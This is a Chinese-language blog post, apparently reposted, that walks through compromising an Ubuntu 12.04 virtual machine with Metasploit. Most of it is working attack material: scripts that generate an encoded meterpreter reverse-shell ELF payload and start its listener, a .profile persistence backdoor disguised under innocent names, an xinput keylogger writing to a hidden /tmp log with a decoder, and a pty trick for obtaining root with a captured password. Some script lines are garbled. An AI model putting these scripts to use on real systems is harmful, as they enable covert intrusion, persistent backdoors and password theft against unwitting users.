«

Metasploit渗透Ubuntu 12.04攻击测试演练(转)

时间:2014-11-26 22:01     作者:admin     分类: 渗透测试


这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。

攻击环境:

Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻击机)

首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:

#!/bin/bash clear
echo"************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *" echo"************************************************" echo -"What IP are we gonna use  ex. 192.168.0.1?  \c" read IP
echo -"What Port Number are we gonnalisten to? : \c" read port ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive echo "Executive binarygenerated.." chmod u=rwx Executive ls -la Executive

运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。

接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:

#!/bin/bash clear
echo"*********************************************" echo "   METASPLOIT LINUX METERPRETER LISTENER    *" echo"*********************************************" echo "Here is a network device listavailable on yor machine" cat /proc/net/dev | tr -s  ' ' | cut -' ' -f1,2 | sed -'1,2d' echo -"What network interface are wegonna use ?  \c" read interface
echo -"What Port Number are we gonnalisten to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in   Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;    *)IP="Unknown";; esac echo "      starting the meterpreter listener.." ./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E

好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行                         此处有图胜有声

1 (1).jpg

现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:

1 (2).jpg

然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:

1 (3).jpg

我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)

1 (4).jpg

然后我们将修改后的.profile文件传回靶机

1 (5).jpg

接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性

1 (6).jpg

1 (7).jpg

那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。

好的,第一步持久化我们已经完成了,接下来我们做点什么呢?

键盘记录

Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):

#!/bin/bash export DISPLAY=:0.0 xinput list
echo -"KBD ID ?" read kbd
xmodmap -pke > /tmp/.xkey.log
script -"xinput test $kbd" |cat >> /tmp/.xkey.log & echo "The keylog can be downloadedfrom /tmp/.xkey.log" echo "Use the meterpreter downloadfunction" echo "Press CTLR+C to exit thissession, keylogger will run in backround"

写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。


1 (8).jpg

启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10

1 (9).jpg


然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。

111.jpg


这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:

#!/bin/sh cat .xkey.log | grep keycode >xmodmap.pke
cat .xkey.log | grep 'key p' > xlog
rm -.xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' >decoder.py
echo 'from subprocess import *' >>decoder.py
echo 'def keyMap():' >> decoder.py
echo '  table = open("xmodmap.pke")' >> decoder.py
echo '  key = []' >> decoder.py
echo '  for line in table:' >> decoder.py
echo "      m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py
echo '     if m and m.groups()[1]:' >> decoder.py
echo '        key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py
echo '  return key' >> decoder.py
echo 'def printV(letter):' >>decoder.py
echo '     key=keyMap();' >> decoder.py
echo '     for i in key:' >> decoder.py
echo '              if str(letter) ==i.split("_____")[1]:' >> decoder.py
echo '                     return i.split("_____")[0]'>> decoder.py
echo '     return letter' >> decoder.py
echo 'if len(sys.argv) < 2:' >>decoder.py
echo '        print "Usage: %s FILE" %sys.argv[0];' >> decoder.py
echo '        exit();' >> decoder.py
echo 'else:' >> decoder.py
echo '        f = open(sys.argv[1])' >>decoder.py
echo '        lines = f.readlines()' >>decoder.py
echo '        f.close()' >> decoder.py
echo '        for line in lines:' >> decoder.py
echo "                m = re.match('keyss +(\d+)',line)" >> decoder.py
echo '                if m:' >> decoder.py
echo '                          keycode =m.groups()[0]' >> decoder.py
echo '                          print(printV(keycode))' >> decoder.py
 
echo 'Please see LOG-keylogger for theoutput......' python decoder.py xlog > LOG
sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger
rm -f LOG
rm -f xmodmap.pke
rm -f decoder.py
rm -f xlog
cat LOG-keylogger

现在我们运行一下这个bash脚本,我们就可以看到效果了:

1 (10).jpg



好,keylogger也搞完了接下来就是怎么样获取到root权限了。

获取root权限

在这里,我们从以上的keylogger中获取到了root密码,但是当我们直接输入sudo su获取root的时候却遇到了无法返回响应的情况:

112.jpg

这里有一个绕过的好方法,就是利用自带的python来获取一个交互式的shell从而可以让我们获取root权限

python -import pty;pty.spawn(‘/bin/bash’)”

这样我们sudo su的时候就可以输入root密码了,然后成功获取到了一个root级别的shell,整个过程就完满完成了。

113.jpg



后记

CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。

另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了

chmod a-/path/to/xinput

当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。

最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):

百度网盘下载/观看:

链接:  http://pan.baidu.com/s/1eQIkbQy    提取码:  m37p

有梯子的请点这里:http://www.youtube.com/embed/_k_DtYhIOpY

标签: 密码 黑客 Linux Ubuntu

版权所有:Mrxn's Blog
文章标题:Metasploit渗透Ubuntu 12.04攻击测试演练(转)
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读: